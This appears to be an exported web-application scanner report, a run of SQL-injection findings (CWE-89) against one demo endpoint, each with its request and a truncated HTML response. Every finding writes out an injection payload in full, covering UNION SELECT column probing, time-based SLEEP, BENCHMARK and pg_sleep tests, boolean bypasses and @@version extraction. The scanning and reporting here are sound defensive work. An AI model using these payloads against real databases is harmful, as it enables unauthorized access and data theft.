z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1302
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1303
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)
+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1304
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# -1 UNION SELECT 1 INTO @,@,
@
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1305
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1306
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -- -
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1307
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1308
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1309
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1310
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1311
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ') or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1312
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1 or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1313
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# and (select substring(@@version,3,1))='X'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1314Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -1 UNION SELECT 1 INTO @,
@
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1315
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1316
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
